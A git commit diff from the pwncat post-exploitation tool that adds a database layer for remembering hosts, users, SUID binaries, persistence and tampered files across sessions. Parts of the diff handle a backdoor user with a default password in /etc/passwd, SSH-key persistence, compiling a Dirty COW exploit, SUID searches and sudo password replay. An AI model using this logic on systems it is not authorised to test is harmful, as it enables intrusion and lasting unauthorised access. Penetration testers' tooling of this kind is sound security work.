1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-23 17:15:38 +01:00

Added initial database support for cross-session memory

This commit is contained in:
Caleb Stewart 2020-05-17 23:37:27 -04:00
parent 3c1e72342b
commit b2ca8515cc
29 changed files with 631 additions and 268 deletions

1
.gitignore vendored
View File

@ -7,3 +7,4 @@ dist/
.byebug_history
testbed
.idea/
data/*.sqlite

View File

@ -7,6 +7,7 @@ set privkey "data/pwncat"
# Set the pwncat backdoor user and password
set backdoor_user "pwncat"
set backdoor_pass "pwncat"
set db "sqlite:///data/pwncat.sqlite"
set on_load {
# Run a command upon a stable connection

View File

@ -1,4 +1,6 @@
#!/usr/bin/env python3
from typing import Optional
from pwncat import db
victim: Optional["pwncat.remote.Victim"] = None

View File

@ -5,6 +5,8 @@ import selectors
import socket
import sys
from sqlalchemy.exc import InvalidRequestError
import pwncat
from pwncat.remote import Victim
from pwncat import util
@ -125,6 +127,11 @@ def main():
finally:
# Restore the shell
pwncat.victim.restore_local_term()
try:
# Make sure everything was committed
pwncat.victim.session.commit()
except InvalidRequestError:
pass
util.success("local terminal restored")

View File

@ -19,7 +19,7 @@ from prompt_toolkit.lexers import PygmentsLexer
from prompt_toolkit.document import Document
from pygments.styles import get_style_by_name
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.history import InMemoryHistory
from prompt_toolkit.history import InMemoryHistory, History
from typing import Dict, Any, List, Iterable
from colorama import Fore
from enum import Enum, auto
@ -32,6 +32,7 @@ import re
from pprint import pprint
import pwncat
import pwncat.db
from pwncat.commands.base import CommandDefinition, Complete
from pwncat.util import State
from pwncat import util
@ -94,6 +95,24 @@ def resolve_blocks(source: str):
return "".join(result).split("\n")
class DatabaseHistory(History):
""" Yield history from the host entry in the database """
def load_history_strings(self) -> Iterable[str]:
""" Load the history from the database """
for history in (
pwncat.victim.session.query(pwncat.db.History)
.order_by(pwncat.db.History.id.desc())
.all()
):
yield history.command
def store_string(self, string: str) -> None:
""" Store a command in the database """
history = pwncat.db.History(host_id=pwncat.victim.host.id, command=string)
pwncat.victim.session.add(history)
class CommandParser:
""" Handles dynamically loading command classes, parsing input, and
dispatching commands. """
@ -110,7 +129,17 @@ class CommandParser:
loader.find_module(module_name).load_module(module_name).Command()
)
history = InMemoryHistory()
self.prompt: PromptSession = None
self.toolbar: PromptSession = None
self.loading_complete = False
self.aliases: Dict[str, CommandDefinition] = {}
self.shortcuts: Dict[str, CommandDefinition] = {}
def setup_prompt(self):
""" This needs to happen after __init__ when the database is fully
initialized. """
history = DatabaseHistory()
completer = CommandCompleter(self.commands)
lexer = PygmentsLexer(CommandLexer.build(self.commands))
style = style_from_pygments_cls(get_style_by_name("monokai"))
@ -144,10 +173,6 @@ class CommandParser:
history=history,
)
self.loading_complete = False
self.aliases: Dict[str, CommandDefinition] = {}
self.shortcuts: Dict[str, CommandDefinition] = {}
@property
def loaded(self):
return self.loading_complete

View File

@ -20,10 +20,10 @@ class Command(CommandDefinition):
def get_user_choices(self):
""" Get the user options """
current = pwncat.victim.current_user
if current["name"] == "root" or current["uid"] == 0:
if current.id == 0:
return [name for name in pwncat.victim.users]
else:
return [current["name"]]
return [current.name]
PROG = "persist"
ARGS = {
@ -92,7 +92,7 @@ class Command(CommandDefinition):
if method.system and method.installed():
yield (method.name, None, method)
elif not method.system:
if me["uid"] == 0:
if me.id == 0:
for user in pwncat.victim.users:
util.progress(f"checking {method.name} for: {user}")
if method.installed(user):
@ -100,14 +100,14 @@ class Command(CommandDefinition):
yield (method.name, user, method)
util.erase_progress()
else:
if method.installed(me["name"]):
yield (method.name, me["name"], method)
if method.installed(me.name):
yield (method.name, me.name, method)
def run(self, args):
if args.action == "status":
ninstalled = 0
for name, user, method in self.installed_methods:
for user, method in pwncat.victim.persist.installed:
print(f" - {method.format(user)} installed")
ninstalled += 1
if not ninstalled:
@ -122,12 +122,12 @@ class Command(CommandDefinition):
return
elif args.action == "clean":
util.progress("cleaning persistence methods: ")
for name, user, method in self.installed_methods:
for user, method in pwncat.victim.persist.installed:
try:
util.progress(
f"cleaning persistance methods: {method.format(user)}"
)
method.remove(user)
pwncat.victim.persist.remove(method.name, user)
util.success(f"removed {method.format(user)}")
except PersistenceError as exc:
util.erase_progress()
@ -140,13 +140,6 @@ class Command(CommandDefinition):
self.parser.error("no method specified")
return
# Lookup the method
try:
method = pwncat.victim.persist.find(args.method)
except KeyError:
self.parser.error(f"{args.method}: no such persistence method")
return
# Grab the user we want to install the persistence as
if args.user:
user = args.user
@ -154,31 +147,10 @@ class Command(CommandDefinition):
# Default is to install as current user
user = pwncat.victim.whoami()
if args.action == "install":
try:
# Check that the module isn't already installed
if method.installed(user):
util.error(f"{method.format(user)} already installed")
return
util.success(f"installing {method.format(user)}")
# Install the persistence
method.install(user)
except PersistenceError as exc:
util.error(f"{method.format(user)}: install failed: {exc}")
elif args.action == "remove":
try:
# Check that the module isn't already installed
if not method.installed(user):
util.error(f"{method.format(user)} not installed")
return
util.success(f"removing {method.format(user)}")
# Remove the method
method.remove(user)
except PersistenceError as exc:
util.error(f"{method.format(user)}: removal failed: {exc}")
try:
if args.action == "install":
pwncat.victim.persist.install(args.method, args.user)
elif args.action == "remove":
pwncat.victim.persist.remove(args.method, args.user)
except PersistenceError as exc:
util.error(f"{exc}")

View File

@ -22,6 +22,11 @@ class Command(CommandDefinition):
type=int,
help="Tamper ID to revert (IDs found in tamper list)",
),
"--all,-a": parameter(
Complete.NONE,
action="store_true",
help="Attempt to revert all tampered files",
),
"--revert,-r": parameter(
Complete.NONE,
action=StoreConstOnce,
@ -43,14 +48,30 @@ class Command(CommandDefinition):
def run(self, args):
if args.action == "revert":
if args.tamper not in range(len(pwncat.victim.tamper.tampers)):
self.parser.error("invalid tamper id")
tamper = pwncat.victim.tamper.tampers[args.tamper]
try:
tamper.revert()
pwncat.victim.tamper.tampers.pop(args.tamper)
except RevertFailed as exc:
util.error(f"revert failed: {exc}")
if args.all:
removed_tampers = []
util.progress(f"reverting tamper")
for tamper in pwncat.victim.tamper:
try:
util.progress(f"reverting tamper: {tamper}")
tamper.revert()
removed_tampers.append(tamper)
except RevertFailed as exc:
util.warn(f"{tamper}: revert failed: {exc}")
for tamper in removed_tampers:
pwncat.victim.tamper.remove(tamper)
util.success("tampers reverted!")
pwncat.victim.session.commit()
else:
if args.tamper not in range(len(pwncat.victim.tamper)):
self.parser.error("invalid tamper id")
tamper = pwncat.victim.tamper[args.tamper]
try:
tamper.revert()
pwncat.victim.tamper.remove(tamper)
except RevertFailed as exc:
util.error(f"revert failed: {exc}")
pwncat.victim.session.commit()
else:
for id, tamper in enumerate(pwncat.victim.tamper.tampers):
for id, tamper in enumerate(pwncat.victim.tamper):
print(f" {id} - {tamper}")

View File

@ -62,6 +62,7 @@ class Config:
"backdoor_user": {"value": "pwncat", "type": str},
"backdoor_pass": {"value": "pwncat", "type": str},
"on_load": {"value": "", "type": str},
"db": {"value": "sqlite:///:memory:", "type": str},
}
# Map ascii escape sequences or printable bytes to lists of commands to

10
pwncat/db/__init__.py Normal file
View File

@ -0,0 +1,10 @@
#!/usr/bin/env python3
from pwncat.db.base import Base
from pwncat.db.binary import Binary
from pwncat.db.history import History
from pwncat.db.host import Host
from pwncat.db.persist import Persistence
from pwncat.db.suid import SUID
from pwncat.db.tamper import Tamper
from pwncat.db.user import User, Group, SecondaryGroupAssociation

5
pwncat/db/base.py Normal file
View File

@ -0,0 +1,5 @@
#!/usr/bin/env python3
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()

16
pwncat/db/binary.py Normal file
View File

@ -0,0 +1,16 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, String, ForeignKey
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class Binary(Base):
__tablename__ = "binary"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="binaries")
# The path to the binary on the remote host
path = Column(String)

15
pwncat/db/history.py Normal file
View File

@ -0,0 +1,15 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, String, ForeignKey
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class History(Base):
__tablename__ = "history"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="history")
command = Column(String)

36
pwncat/db/host.py Normal file
View File

@ -0,0 +1,36 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, String
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class Host(Base):
__tablename__ = "host"
# Database identifier
id = Column(Integer, primary_key=True)
# A unique hash identifying this host
hash = Column(String)
# The remote architecture (uname -m)
arch = Column(String)
# The remote kernel version (uname -r)
kernel = Column(String)
# The remote distro (probed from /etc/*release), or "unknown"
distro = Column(String)
# A list of groups this host has
groups = relationship("Group")
# A list of users this host has
users = relationship("User")
# A list of persistence methods applied to this host
persistence = relationship("Persistence")
# A list of tampers applied to this host
tampers = relationship("Tamper")
# A list of resolved binaries for the remote host
binaries = relationship("Binary")
# Command history for local prompt
history = relationship("History")
# A list of SUID binaries found across all users (may have overlap, and may not be
# accessible by the current user).
suid = relationship("SUID")

18
pwncat/db/persist.py Normal file
View File

@ -0,0 +1,18 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, String, ForeignKey
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class Persistence(Base):
__tablename__ = "persistence"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="persistence")
# The type of persistence
method = Column(String)
# The user this persistence was applied as (ignored for system persistence)
user = Column(String)

20
pwncat/db/suid.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
from sqlalchemy import ForeignKey, Integer, Column, String
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class SUID(Base):
__tablename__ = "suid"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="suid", foreign_keys=[host_id])
user_id = Column(Integer, ForeignKey("users.id"))
user = relationship("User", backref="suid", foreign_keys=[user_id])
# Path to this SUID binary
path = Column(String)
owner_id = Column(Integer, ForeignKey("users.id"))
owner = relationship("User", foreign_keys=[owner_id], backref="owned_suid")

16
pwncat/db/tamper.py Normal file
View File

@ -0,0 +1,16 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, String, ForeignKey, LargeBinary
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
class Tamper(Base):
__tablename__ = "tamper"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="tampers")
name = Column(String)
data = Column(LargeBinary)

58
pwncat/db/user.py Normal file
View File

@ -0,0 +1,58 @@
#!/usr/bin/env python3
from sqlalchemy import Column, Integer, String, ForeignKey, Table
from sqlalchemy.orm import relationship
from pwncat.db.base import Base
SecondaryGroupAssociation = Table(
"secondary_group_association",
Base.metadata,
Column("group_id", Integer, ForeignKey("groups.id")),
Column("user_id", ForeignKey("users.id")),
)
class Group(Base):
__tablename__ = "groups"
id = Column(Integer, primary_key=True)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="groups")
name = Column(String)
members = relationship(
"User", back_populates="groups", secondary=SecondaryGroupAssociation
)
class User(Base):
__tablename__ = "users"
# The users UID
id = Column(Integer)
host_id = Column(Integer, ForeignKey("host.id"))
host = relationship("Host", back_populates="users")
# The users GID
gid = Column(Integer, ForeignKey("groups.id"))
# The actual DB Group object representing that group
group = relationship("Group")
# The name of the user
name = Column(String, primary_key=True)
# The user's full name
fullname = Column(String)
# The user's home directory
homedir = Column(String)
# The user's password, if known
password = Column(String)
# The hash of the user's password, if known
hash = Column(String)
# The user's default shell
shell = Column(String)
# The user's secondary groups
groups = relationship(
"Group", back_populates="members", secondary=SecondaryGroupAssociation
)
def __repr__(self):
return f"""User(uid={self.id}, gid={self.gid}, name={repr(self.name)})"""

View File

@ -1,13 +1,20 @@
#!/usr/bin/env python3
import functools
import pkgutil
from typing import Optional, Dict, Iterator
from colorama import Fore
import pwncat
class PersistenceError(Exception):
""" Indicates a problem in adding/removing a persistence method """
def persistence_tamper_removal(name: str, user: Optional[str] = None):
pwncat.victim.persist.remove(name, user, from_tamper=True)
class Persistence:
def __init__(self):
@ -20,10 +27,40 @@ class Persistence:
def install(self, name: str, user: Optional[str] = None):
""" Add persistence as the specified user. If the specified persistence
method is system method, the "user" argument is ignored. """
method = self.find(name)
try:
method = next(self.find(name))
except StopIteration:
raise PersistenceError(f"{name}: no such persistence method")
if not method.system and user is None:
raise PersistenceError("non-system methods require a user argument")
raise PersistenceError(
f"{method.format(user)}: non-system methods require a user argument"
)
if method.installed(user):
raise PersistenceError(f"{method.format(user)}: already installed")
method.install(user)
self.register(name, user)
def register(self, name: str, user: Optional[str] = None):
""" Register a persistence method as pre-installed. This is useful for some privilege escalation
which automatically adds things equivalent to persistent, but without the
persistence module itself (e.g. backdooring /etc/passwd or SSH keys). """
method = next(self.find(name))
persist = pwncat.db.Persistence(method=name, user=user)
pwncat.victim.host.persistence.append(persist)
# Also register a tamper to track in both places
pwncat.victim.tamper.custom(
f"Persistence: {method.format(user)}",
functools.partial(persistence_tamper_removal, name=name, user=user),
)
@property
def installed(self) -> Iterator["PersistenceMethod"]:
""" Retrieve a list of installed persistence methods """
for persist in pwncat.victim.host.persistence:
yield persist.user, self.methods[persist.method]
def find(
self,
@ -52,17 +89,39 @@ class Persistence:
# All checks passed. Yield the method.
yield method
def remove(self, name: str, user: Optional[str] = None):
def remove(self, name: str, user: Optional[str] = None, from_tamper: bool = False):
""" Remove the specified persistence method from the remote victim
if the given persistence method is a system method, the "user"
argument is ignored. """
method = self.find(name)
try:
method = next(self.find(name))
except StopIteration:
raise PersistenceError(f"{name}: no such persistence method")
if not method.system and user is None:
raise PersistenceError("non-system methods require a user argument")
raise PersistenceError(
f"{method.format(user)}: non-system methods require a user argument"
)
if not method.installed(user):
raise PersistenceError("not installed")
raise PersistenceError(f"{method.format(user)}: not installed")
method.remove(user)
# Grab this from the database
persist = (
pwncat.victim.session.query(pwncat.db.Persistence)
.filter_by(host_id=pwncat.victim.host.id, method=name, user=user)
.first()
)
if persist is not None:
pwncat.victim.session.delete(persist)
pwncat.victim.session.commit()
# Remove the tamper as well
if not from_tamper:
for tamper in pwncat.victim.tamper:
if str(tamper) == f"Persistence: {method.format(user)}":
pwncat.victim.tamper.remove(tamper)
break
def __iter__(self) -> Iterator["PersistenceMethod"]:
yield from self.methods.values()
@ -98,7 +157,14 @@ class PersistenceMethod:
raise NotImplementedError
def installed(self, user: Optional[str] = None) -> bool:
raise NotImplementedError
if (
pwncat.victim.session.query(pwncat.db.Persistence)
.filter_by(method=self.name, user=user)
.first()
is not None
):
return True
return False
def escalate(self, user: Optional[str] = None) -> bool:
""" If this is a local method, this should escalate to the given user if

View File

@ -1,6 +1,7 @@
#!/usr/bin/env python3
import crypt
from typing import Optional
from colorama import Fore
import pwncat
from pwncat.persist import PersistenceMethod, PersistenceError
@ -18,10 +19,6 @@ class Method(PersistenceMethod):
def system(self) -> bool:
return True
def installed(self, user: Optional[str] = None):
pwncat.victim.reload_users()
return pwncat.victim.config["backdoor_user"] in pwncat.victim.users
def install(self, user: Optional[str] = None):
try:
@ -49,9 +46,6 @@ class Method(PersistenceMethod):
except (PermissionError, FileNotFoundError) as exc:
raise PersistenceError(str(exc))
# Track this modification in our tamper as well
pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=passwd[-1:])
# Ensure user cache is up to date
pwncat.victim.reload_users()
@ -108,10 +102,6 @@ class Method(PersistenceMethod):
def escalate(self, user: Optional[str] = None) -> bool:
# We can always check this, so we might as well give it a try
if not self.installed(user):
return False
# First, escalate to the backdoor user
pwncat.victim.run(f"su {pwncat.victim.config['backdoor_user']}", wait=False)
pwncat.victim.recvuntil(b": ")

View File

@ -16,46 +16,9 @@ class Method(PersistenceMethod):
name = "authorized_keys"
local = False
def installed(self, user: Optional[str] = None) -> bool:
homedir = pwncat.victim.users[user]["home"]
if not homedir or homedir == "":
return False
# Create .ssh directory if it doesn't exist
access = pwncat.victim.access(os.path.join(homedir, ".ssh"))
if Access.DIRECTORY not in access or Access.EXISTS not in access:
return False
# Create the authorized_keys file if it doesn't exist
access = pwncat.victim.access(os.path.join(homedir, ".ssh", "authorized_keys"))
if Access.EXISTS not in access:
return False
else:
try:
# Read in the current authorized keys if it exists
with pwncat.victim.open(
os.path.join(homedir, ".ssh", "authorized_keys"), "r"
) as filp:
authkeys = filp.readlines()
except (FileNotFoundError, PermissionError) as exc:
return False
try:
# Read our public key
with open(pwncat.victim.config["privkey"] + ".pub", "r") as filp:
pubkey = filp.readlines()
except (FileNotFoundError, PermissionError) as exc:
return False
# Ensure we read a public key
if not pubkey:
return False
return pubkey[0] in authkeys
def install(self, user: Optional[str] = None):
homedir = pwncat.victim.users[user]["home"]
homedir = pwncat.victim.users[user].homedir
if not homedir or homedir == "":
raise PersistenceError("no home directory")
@ -119,7 +82,7 @@ class Method(PersistenceMethod):
def remove(self, user: Optional[str] = None):
homedir = pwncat.victim.users[user]["home"]
homedir = pwncat.victim.users[user].homedir
if not homedir or homedir == "":
raise PersistenceError("no home directory")

View File

@ -127,9 +127,9 @@ class Finder:
current_user = pwncat.victim.current_user
if (
target_user == current_user["name"]
or current_user["uid"] == 0
or current_user["name"] == "root"
target_user == current_user.name
or current_user.id == 0
or current_user.name == "root"
):
with pwncat.victim.open(filename, "wb", length=len(data)) as filp:
filp.write(data)
@ -201,9 +201,9 @@ class Finder:
current_user = pwncat.victim.current_user
if (
target_user == current_user["name"]
or current_user["uid"] == 0
or current_user["name"] == "root"
target_user == current_user.name
or current_user.id == 0
or current_user.name == "root"
):
pipe = pwncat.victim.open(filename, "rb")
return pipe, chain
@ -351,7 +351,7 @@ class Finder:
"/etc/passwd", added_lines=lines[-1:]
)
pwncat.victim.users[user]["password"] = pwncat.victim.config[
pwncat.victim.users[user].password = pwncat.victim.config[
"backdoor_pass"
]
self.backdoor_user = pwncat.victim.users[user]
@ -430,7 +430,7 @@ class Finder:
# AuthorizedKeysFile is normally relative to the home directory
if not authkeys_path.startswith("/"):
# Grab the user information from /etc/passwd
home = pwncat.victim.users[techniques[0].user]["home"]
home = pwncat.victim.users[techniques[0].user].homedir
if home == "" or home is None:
raise PrivescError("no user home directory, can't add ssh keys")
@ -460,12 +460,12 @@ class Finder:
# authenticate without a password and without clobbering their
# keys.
ssh_key_glob = os.path.join(
pwncat.victim.users[reader.user]["home"], ".ssh", "*.pub"
pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub"
)
# keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8")
keys = ["id_rsa.pub"]
keys = [
os.path.join(pwncat.victim.users[reader.user]["home"], ".ssh", key)
os.path.join(pwncat.victim.users[reader.user].homedir, ".ssh", key)
for key in keys
]
@ -553,9 +553,10 @@ class Finder:
authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer
)
if len(authkeys) > 1:
if len(readers) > 0:
# We read the content in, so we know what we added
pwncat.victim.tamper.modified_file(
authkeys_path, added_lines=pubkey + "\n"
authkeys_path, added_lines=[pubkey + "\n"]
)
else:
# We couldn't read their authkeys, but log that we clobbered it. The user asked us to. :shrug:
@ -622,11 +623,11 @@ class Finder:
current_user = pwncat.victim.current_user
if (
target_user == current_user["name"]
or current_user["uid"] == 0
or current_user["name"] == "root"
target_user == current_user.name
or current_user.id == 0
or current_user.name == "root"
):
raise PrivescError(f"you are already {current_user['name']}")
raise PrivescError(f"you are already {current_user.name}")
if starting_user is None:
starting_user = current_user
@ -639,9 +640,9 @@ class Finder:
# Check if we have a persistence method for this user
util.progress(f"checking local persistence implants")
for persist in pwncat.victim.persist.find(
installed=True, local=True, user=target_user
):
for user, persist in pwncat.victim.persist.installed:
if not persist.local or (user != target_user and user is not None):
continue
util.progress(
f"checking local persistence implants: {persist.format(target_user)}"
)
@ -699,35 +700,29 @@ class Finder:
# Try to use persistence as other users
util.progress(f"checking local persistence implants")
for user in pwncat.victim.users:
for user, persist in pwncat.victim.persist.installed:
if self.in_chain(user, chain):
continue
util.progress(f"checking local persistence implants: {user}")
for persist in pwncat.victim.persist.find(
installed=True, local=True, system=False, user=user
):
util.progress(
f"checking local persistence implants: {persist.format(user)}"
)
if persist.escalate(user):
if pwncat.victim.whoami() != user:
if pwncat.victim.getenv("SHLVL") != shlvl:
pwncat.victim.run("exit", wait=False)
continue
chain.append(
(f"persistence - {persist.format(target_user)}", "exit")
)
try:
return self.escalate(target_user, depth, chain, starting_user)
except PrivescError:
chain.pop()
util.progress(
f"checking local persistence implants: {persist.format(user)}"
)
if persist.escalate(user):
if pwncat.victim.whoami() != user:
if pwncat.victim.getenv("SHLVL") != shlvl:
pwncat.victim.run("exit", wait=False)
continue
# Don't retry later
if user in techniques:
del techniques[user]
chain.append((f"persistence - {persist.format(target_user)}", "exit"))
try:
return self.escalate(target_user, depth, chain, starting_user)
except PrivescError:
chain.pop()
pwncat.victim.run("exit", wait=False)
# Don't retry later
if user in techniques:
del techniques[user]
# We can't escalate directly to the target. Instead, try recursively
# against other users.

View File

@ -95,12 +95,12 @@ class SuMethod(Method):
for user, info in self.pty.users.items():
if user == current_user:
continue
if info.get("password") is not None or current_user == "root":
if info.password is not None or current_user == "root":
result.append(
Technique(
user=user,
method=self,
ident=info["password"],
ident=info.password,
capabilities=Capability.SHELL,
)
)
@ -113,7 +113,7 @@ class SuMethod(Method):
password = technique.ident.encode("utf-8")
if current_user["name"] != "root":
if current_user.name != "root":
# Send the su command, and check if it succeeds
self.pty.run(
f'su {technique.user} -c "echo good"', wait=False,
@ -133,7 +133,7 @@ class SuMethod(Method):
self.pty.process(f"su {technique.user}", delim=False)
if current_user["name"] != "root":
if current_user.name != "root":
self.pty.recvuntil(": ")
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
self.pty.flush_output()

View File

@ -10,6 +10,7 @@ import socket
from io import StringIO, BytesIO
import functools
import pwncat
from pwncat.util import CTRL_C
from pwncat.privesc.base import Method, PrivescError, Technique
from pwncat.file import RemoteBinaryPipe
@ -29,16 +30,6 @@ class DirtycowMethod(Method):
super(DirtycowMethod, self).__init__(pty)
self.ran_before = False
with open("data/dirtycow/mini_dirtycow.c") as h:
self.dc_source = h.read()
self.dc_source = self.dc_source.replace(
"PWNCAT_USER", self.pty.privesc.backdoor_user_name
)
self.dc_source = self.dc_source.replace(
"PWNCAT_PASS", self.pty.privesc.backdoor_password
)
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
""" Find all techniques known at this time """
@ -65,6 +56,16 @@ class DirtycowMethod(Method):
def execute(self, technique: Technique):
""" Run the specified technique """
with open("data/dirtycow/mini_dirtycow.c") as h:
dc_source = h.read()
dc_source = dc_source.replace(
"PWNCAT_USER", pwncat.victim.config["backdoor_user"]
)
dc_source = dc_source.replace(
"PWNCAT_PASS", pwncat.victim.config["backdoor_pass"]
)
self.ran_before = True
writer = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
@ -75,7 +76,7 @@ class DirtycowMethod(Method):
dc_binary = self.pty.run("mktemp").decode("utf-8").strip()
# Write the file
self.pty.run(writer.write_file(dc_source, self.dc_source))
self.pty.run(writer.write_file(dc_source, dc_source))
# Compile Dirtycow
self.pty.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt")

View File

@ -7,6 +7,7 @@ import os
from colorama import Fore, Style
import io
import pwncat
from pwncat.privesc.base import Method, PrivescError, Technique
from pwncat.gtfobins import Binary, Stream, Capability, MethodWrapper, BinaryNotFound
from pwncat.file import RemoteBinaryPipe
@ -26,18 +27,15 @@ class SetuidMethod(Method):
def find_suid(self):
current_user = self.pty.whoami()
current_user: "pwncat.db.User" = pwncat.victim.current_user
# Only re-run the search if we haven't searched as this user yet
if current_user in self.users_searched:
# We've already searched for SUID binaries as this user
if len(current_user.suid):
return
# Note that we already searched for binaries as this user
self.users_searched.append(current_user)
# Spawn a find command to locate the setuid binaries
files = []
with self.pty.subprocess(
with pwncat.victim.subprocess(
"find / -perm -4000 -print 2>/dev/null", mode="r", no_job=True
) as stream:
util.progress("searching for setuid binaries")
@ -45,7 +43,7 @@ class SetuidMethod(Method):
path = path.strip().decode("utf-8")
util.progress(
(
f"searching for setuid binaries as {Fore.GREEN}{current_user}{Fore.RESET}: "
f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: "
f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}"
)
)
@ -53,17 +51,17 @@ class SetuidMethod(Method):
util.success("searching for setuid binaries: complete", overlay=True)
for path in files:
user = (
self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
.strip()
.decode("utf-8")
)
if user not in self.suid_paths:
self.suid_paths[user] = []
# Only add new binaries
if path not in self.suid_paths[user]:
self.suid_paths[user].append(path)
with pwncat.victim.subprocess(
f"stat -c '%U' {' '.join(files)}", mode="r", no_job=True
) as stream:
for file, user in zip(files, stream):
user = user.strip().decode("utf-8")
binary = pwncat.db.SUID(path=file,)
pwncat.victim.host.suid.append(binary)
pwncat.victim.users[user].owned_suid.append(binary)
current_user.suid.append(binary)
pwncat.victim.session.commit()
def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]:
""" Find all techniques known at this time """
@ -72,15 +70,16 @@ class SetuidMethod(Method):
self.find_suid()
known_techniques = []
for user, paths in self.suid_paths.items():
for path in paths:
try:
binary = self.pty.gtfo.find_binary(path, caps)
except BinaryNotFound:
continue
for suid in pwncat.victim.host.suid:
try:
binary = pwncat.victim.gtfo.find_binary(suid.path, caps)
except BinaryNotFound:
continue
for method in binary.iter_methods(path, caps, Stream.ANY):
known_techniques.append(Technique(user, self, method, method.cap))
for method in binary.iter_methods(suid.path, caps, Stream.ANY):
known_techniques.append(
Technique(suid.owner.name, self, method, method.cap)
)
return known_techniques
@ -90,14 +89,16 @@ class SetuidMethod(Method):
method = technique.ident
# Build the payload
payload, input_data, exit_cmd = method.build(shell=self.pty.shell, suid=True)
payload, input_data, exit_cmd = method.build(
shell=pwncat.victim.shell, suid=True
)
# Run the start commands
# self.pty.process(payload, delim=False)
self.pty.run(payload, wait=False)
# pwncat.victim.process(payload, delim=False)
pwncat.victim.run(payload, wait=False)
# Send required input
self.pty.client.send(input_data.encode("utf-8"))
pwncat.victim.client.send(input_data.encode("utf-8"))
return exit_cmd # remember how to close out of this privesc
@ -112,7 +113,7 @@ class SetuidMethod(Method):
mode += "b"
# Send the read payload
pipe = self.pty.subprocess(
pipe = pwncat.victim.subprocess(
payload,
mode,
data=input_data.encode("utf-8"),
@ -138,7 +139,7 @@ class SetuidMethod(Method):
mode += "b"
# Send the read payload
pipe = self.pty.subprocess(
pipe = pwncat.victim.subprocess(
payload,
mode,
data=input_data.encode("utf-8"),

View File

@ -26,7 +26,7 @@ class SudoMethod(Method):
def __init__(self, pty: "pwncat.pty.PtyHandler"):
super(SudoMethod, self).__init__(pty)
def send_password(self, current_user):
def send_password(self, current_user: "pwncat.db.User"):
# peak the output
output = self.pty.peek_output(some=False).lower()
@ -36,10 +36,10 @@ class SudoMethod(Method):
or b"password for " in output
or output.endswith(b"password: ")
):
if current_user["password"] is None:
if current_user.password is None:
self.pty.client.send(CTRL_C) # break out of password prompt
raise PrivescError(
f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} has no known password"
f"user {Fore.GREEN}{current_user.name}{Fore.RESET} has no known password"
)
else:
return # it did not ask for a password, continue as usual
@ -50,7 +50,7 @@ class SudoMethod(Method):
# Reset the timeout to allow for sudo to pause
old_timeout = self.pty.client.gettimeout()
self.pty.client.settimeout(5)
self.pty.client.send(current_user["password"].encode("utf-8") + b"\n")
self.pty.client.send(current_user.password.encode("utf-8") + b"\n")
output = self.pty.peek_output(some=True)
@ -68,7 +68,7 @@ class SudoMethod(Method):
# Flush all the output
self.pty.recvuntil(b"\n")
raise PrivescError(
f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} could not sudo"
f"user {Fore.GREEN}{current_user.name}{Fore.RESET} could not sudo"
)
return
@ -101,7 +101,7 @@ class SudoMethod(Method):
sudo_values = "\n".join(
[
f"{current_user['name']} ALL={l.decode('utf-8').strip()}"
f"{current_user.name} ALL={l.decode('utf-8').strip()}"
for l in sudo_output_lines[sudo_output_index:]
]
)
@ -115,8 +115,6 @@ class SudoMethod(Method):
sudo_rules = self.find_sudo()
current_user = self.pty.current_user
if not sudo_rules:
return []
@ -171,7 +169,7 @@ class SudoMethod(Method):
techniques = []
for sudo_privesc in [*sudo_no_password, *sudo_all_users, *sudo_other_commands]:
if current_user["password"] is None and sudo_privesc["password"]:
if current_user.password is None and sudo_privesc["password"]:
continue
# Split the users on a comma

View File

@ -1,4 +1,5 @@
#!/usr/bin/env python3
import hashlib
import io
import os
import shlex
@ -9,7 +10,10 @@ from typing import Dict, Optional, IO, Any, List, Tuple
import requests
from colorama import Fore
from sqlalchemy.engine import Engine, create_engine
from sqlalchemy.orm import Session, sessionmaker
import pwncat.db
from pwncat import privesc
from pwncat import persist
from pwncat import util
@ -91,15 +95,68 @@ class Victim:
self.shell: str = "unknown"
self.privesc: privesc.Finder = None
self.persist: persist.Persistence = persist.Persistence()
self.engine: Engine = None
self.session: Session = None
self.host: pwncat.db.Host = None
def connect(self, client: socket.SocketType):
self.engine = create_engine(self.config["db"], echo=False)
pwncat.db.Base.metadata.create_all(self.engine)
if self.session is None:
self.session_maker = sessionmaker(bind=self.engine)
self.session = self.session_maker()
# Initialize the socket connection
self.client = client
# We should always get a response within 3 seconds...
